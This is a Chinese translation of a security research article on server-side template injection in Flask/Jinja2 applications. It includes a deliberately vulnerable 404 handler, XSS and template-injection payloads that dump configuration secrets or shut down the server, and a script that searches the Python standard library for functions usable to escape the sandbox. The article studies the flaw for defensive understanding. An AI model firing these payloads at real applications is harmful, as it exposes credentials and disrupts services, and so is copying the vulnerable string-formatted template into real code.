探索Flask/Jinja2中的服務端模版注入(一)
來自: http://www.freebuf.com/articles/web/98619.html
如果你還沒聽說過SSTI(服務端模版注入),或者對其還不夠了解,在此之前建議大家去閱讀一下James Kettle寫的一篇 文章 。
作為一名專業的安全從事人員,我們的工作便是幫助企業組織進行風險決策。及時發現產品存在的威脅,漏洞對產品帶來的影響是無法精確計算。作為一名經常使用Flask框架進行開發的人來說,James的研究促使我下定決心去研究在使用Flask/Jinja2框架進行應用開發時服務端模版注入的一些細節。
Setup
為了準確評估Flask/Jinja2中存在的SSTI,現在我們就建立一個PoC應用:
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%} {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url)
return render_template_string(template), 404
這段代碼的背后場景應該是開發者愚蠢的認為這個404頁面有一個單獨的模版文件, 所以他在404 view函數中創建了一個模版字符串。這個開發者希望如果產生錯誤,就將該URL反饋給用戶;但卻不是經由 render_template_string 函數將URL傳遞給模版上下文,該開發者選擇使用字符串格式化將URL動態添加到模版字符串中,這么做沒錯對吧?臥槽,這還不算我見過最糟糕的。
運行該功能,我們應該可以看到以下預期效果
大多數朋友看到以下發生的行為立刻就會在腦子中想到XSS,當然他們的想法是正確的。在URL后面增加 <script>alert(42)</script> 會觸發一個XSS漏洞。
目標代碼存在XSS漏洞,并且如果你閱讀James的文章之后就會知道,他曾明確指出XSS極有可能是存在SSTI的一個因素,這就是一個很棒的例子。但是我們通過在URL后面增加 {{ 7+7 }} 在深入的去了解下。我們看到模版引擎將數學表達式的值已經計算出來
在目標應用中我們已經發現SSTI的蹤跡了。
Analysis
接下來有得我們忙的了,下一步我們便深入模版上下文并探尋攻擊者會如何通過SSTI漏洞攻擊該應用程序。以下為我們修改過后的存在漏洞的view函數:
@app.errorhandler(404)
def page_not_found(e):
template = '''{%% extends "layout.html" %%} {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url)
return render_template_string(template,
dir=dir,
help=help,
locals=locals,
), 404
調用的 render_template_string 現在包含 dir , help , locals 內置模版,將他們添加到模板上下文我們便能夠通過該漏洞使用這些內置模板進行內省。
短暫的暫停,我們來談談文檔中對于模板上下文的描述。
我們最關心的是第一條和第二條,因為他們通常情況下都是默認值,Flask/Jinja2框架下存在SSTI漏洞應用中的任何地方都可以進行利用。第三條取決于應用程序并且實現的方法太多, stackoverflow討論 中就有幾種方法。在本文中我們不會對第三條進行深入探討,但是在對Flask/Jinja2框架的應用進行靜態源代碼分析的時候還是很值得考慮的。
為了繼續內省,我們應該:
閱讀文檔
使用 dir 內省 locals 對象來查看所有能夠使用的模板上下文
使用 dir 和 help .深入所有對象
分析感興趣的Python源代碼(畢竟框架都是開源的)
Results
通過內省 request 對象我們收集到第一個夢想中的玩具, request 是Flask模版的一個全局對象,其代表“當前請求對象(flask.request)”,在視圖中訪問 request 對象你能看到很多你期待的信息。在 request 對象中有一個 environ 對象名。 request.environ 對象是一個與服務器環境相關的對象字典,字典中一個名為 shutdown_server 的方法名分配的鍵為 werkzeug.server.shutdown ,那么大家可以猜猜注射 {{ request.environ['werkzeug.server.shutdown']() }} 在服務端會做些什么?一個影響極低的拒絕服務,使用gunicorn運行應用程序這個方法的效果便消失,所以該漏洞局限性還是挺大的。
我們的第二個發現來自于內省 config 對象, config 也是Flask模版中的一個全局對象,它代表“當前配置對象(flask.config)”,它是一個類字典的對象,它包含了所有應用程序的配置值。在大多數情況下,它包含了比如數據庫鏈接字符串,連接到第三方的憑證, SECRET_KEY 等敏感值。查看這些配置項目,只需注入 {{ config.items() }} 有效載荷。
最有趣的還是從內省 config 對象時發現的,雖然 config 是一個類字典對象,但它的子類卻包含多個獨特的方法: from_envvar , from_object , from_pyfile , 以及 root_path 。
最后是時候深入源代碼進行更深層次的了解咯,以下為 Config 類的 from_object 方法在 flask/config.py 中的代碼:
def from_object(self, obj):
"""Updates the values from the given object. An object can be of one of the following two types: - a string: in this case the object with that name will be imported - an actual object reference: that object is used directly Objects are usually either modules or classes. Just the uppercase variables in that object are stored in the config. Example usage:: app.config.from_object('yourapplication.default_config') from yourapplication import default_config app.config.from_object(default_config) You should not use this function to load the actual configuration but rather configuration defaults. The actual config should be loaded with :meth:from_pyfile and ideally from a location not within the package because the package might be installed system wide. :param obj: an import name or object """
if isinstance(obj, string_types):
obj = import_string(obj)
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)
def __repr__(self):
return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))</pre>
我們看到,如果將字符串對象傳遞給 from_object 方法,它會從 werkzeug/utils.py 模塊將字符串傳遞到 import_string 方法,試圖從匹配的路徑進行引用并返回結果。
def import_string(import_name, silent=False):
"""Imports an object based on a string. This is useful if you want to use import paths as endpoints or something similar. An import path can be specified either in dotted notation (xml.sax.saxutils.escape) or with a colon as object delimiter (xml.sax.saxutils:escape). If silent is True the return value will be None if the import fails. :param import_name: the dotted name for the object to import. :param silent: if set to True import errors are ignored and None is returned instead. :return: imported object """
# force the import name to automatically convert to strings
# __import__ is not able to handle unicode strings in the fromlist
# if the module is a package
import_name = str(import_name).replace(':', '.')
try:
try:
__import__(import_name)
except ImportError:
if '.' not in import_name:
raise
else:
return sys.modules[import_name]
module_name, obj_name = import_name.rsplit('.', 1)
try:
module = __import__(module_name, None, None, [obj_name])
except ImportError:
# support importing modules not yet set up by the parent module
# (or package for that matter)
module = import_string(module_name)
try:
return getattr(module, obj_name)
except AttributeError as e:
raise ImportError(e)
except ImportError as e:
if not silent:
reraise(
ImportStringError,
ImportStringError(import_name, e),
sys.exc_info()[2])</pre>
from_object 方法會給所有變量名為大寫的新加載模塊添加屬性,有趣的是這些添加到 config 對象的屬性都會維持他們本來的類型,這也就是說被添加到 config 對象的函數是可以通過 config 對象從模板上下文進行調用的。為了論證這點,我們將 {{ config.items() }} 注入到存在SSTI漏洞的應用中,注意當前配置條目!
之后注入 {{ config.from_object('os') }} 。這會向 config 對象添加 os 庫中所有大寫變量的屬性。再次注入 {{ config.items() }} 并注意新的配置條目,并且還要注意這些配置條目的類型。
現在我們可以通過SSTI漏洞調用所有添加到 config 對象里的可調用條目。下一步我們要從可用的引用模塊中尋找能夠突破模版沙盒的函數。
下面的腳本重現 from_object 和 import_string 并為引用條目分析Python標準庫。
#!/usr/bin/env python
from stdlib_list import stdlib_list
import argparse
import sys
def import_string(import_name, silent=True):
import_name = str(import_name).replace(':', '.')
try:
try:
import(import_name)
except ImportError:
if '.' not in import_name:
raise
else:
return sys.modules[import_name]
module_name, obj_name = import_name.rsplit('.', 1)
try:
module = __import__(module_name, None, None, [obj_name])
except ImportError:
# support importing modules not yet set up by the parent module
# (or package for that matter)
module = import_string(module_name)
try:
return getattr(module, obj_name)
except AttributeError as e:
raise ImportError(e)
except ImportError as e:
if not silent:
raise
class ScanManager(object):
def __init__(self, version='2.6'):
self.libs = stdlib_list(version)
def from_object(self, obj):
obj = import_string(obj)
config = {}
for key in dir(obj):
if key.isupper():
config[key] = getattr(obj, key)
return config
def scan_source(self):
for lib in self.libs:
config = self.from_object(lib)
if config:
conflen = len(max(config.keys(), key=len))
for key in sorted(config.keys()):
print('[{0}] {1} => {2}'.format(lib, key.ljust(conflen), repr(config[key])))
def main():
# parse arguments
ap = argparse.ArgumentParser()
ap.add_argument('version')
args = ap.parse_args()
# creat a scanner instance
sm = ScanManager(args.version)
print('\n[{module}] {config key} => {config value}\n')
sm.scan_source()
start of main code
if name == 'main':
main()</pre>
以下為腳本在Python 2.7下運行的輸出結果:
(venv)macbook-pro:search lanmaster$ ./search.py 2.7
[{module}] {config key} => {config value}
...
[ctypes] CFUNCTYPE => <function CFUNCTYPE at 0x10c4dfb90>
...
[ctypes] PYFUNCTYPE => <function PYFUNCTYPE at 0x10c4dff50>
...
[distutils.archive_util] ARCHIVE_FORMATS => {'gztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'gzip')], "gzip'ed tar-file"), 'ztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'compress')], 'compressed tar file'), 'bztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function make_zipfile at 0x10c5f9de8>, [], 'ZIP file'), 'tar': (<function make_tarball at 0x10c5f9d70>, [('compress', None)], 'uncompressed tar file')}
...
[ftplib] FTP => <class ftplib.FTP at 0x10cba7598>
[ftplib] FTP_TLS => <class ftplib.FTP_TLS at 0x10cba7600>
...
[httplib] HTTP => <class httplib.HTTP at 0x10b3e96d0>
[httplib] HTTPS => <class httplib.HTTPS at 0x10b3e97a0>
...
[ic] IC => <class ic.IC at 0x10cbf9390>
...
[shutil] _ARCHIVE_FORMATS => {'gztar': (<function _make_tarball at 0x10a860410>, [('compress', 'gzip')], "gzip'ed tar-file"), 'bztar': (<function _make_tarball at 0x10a860410>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function _make_zipfile at 0x10a860500>, [], 'ZIP file'), 'tar': (<function _make_tarball at 0x10a860410>, [('compress', None)], 'uncompressed tar file')}
...
[xml.dom.pulldom] SAX2DOM => <class xml.dom.pulldom.SAX2DOM at 0x10d1028d8>
...
[xml.etree.ElementTree] XML => <function XML at 0x10d138de8>
[xml.etree.ElementTree] XMLID => <function XMLID at 0x10d13e050>
...</pre>
至此,我們運用我們之前的方法論,祈求能夠尋到突破模版沙盒的方法。
通過這些條目我沒能找到突破模版沙盒的方法,但為了共享研究在下面的附加信息中我會把一些十分接近的方法放出來。需要注意的是,我還沒有嘗試完所有的可能性,所以仍然有進一步研究的意義。
ftplib
我們有可能使用 ftplib.FTP 對象連接到一個我們控制的服務器,并向服務器上傳文件。我們也可以從服務器下載文件并使用 config.from_pyfile 方法對內容進行正則表達式的匹配。分析 ftplib 文檔和源代碼得知 ftplib 需要打開文件處理器,并且由于在模版沙盒中內置的 open 是被禁用的,似乎沒有辦法創建文件處理器。
httplib
這里我們可能在本地文件系統中使用文件協議處理器 file:// ,那就可以使用 httplib.HTTP 對象來加載文件的URL。不幸的是, httplib 不支持文件協議處理器。
xml.etree.ElementTree
當然我們也可能會用到 xml.etree.ElementTree.XML 對象使用用戶定義的字符實體從文件系統中加載文件。然而,就像在 Python文檔 中看到 etree 并不支持用戶定義的字符實體
Conclusion
即使我們沒能找到突破模版沙盒的方法,但是對于Flask/Jinja2開發框架下SSTI的影響已經有進展了,我確信那層薄紗就快被掀開。
*參考來源: nvisium ,鳶尾編譯,轉載請注明來自FreeBuf黑客與極客(FreeBuf.COM)
</div>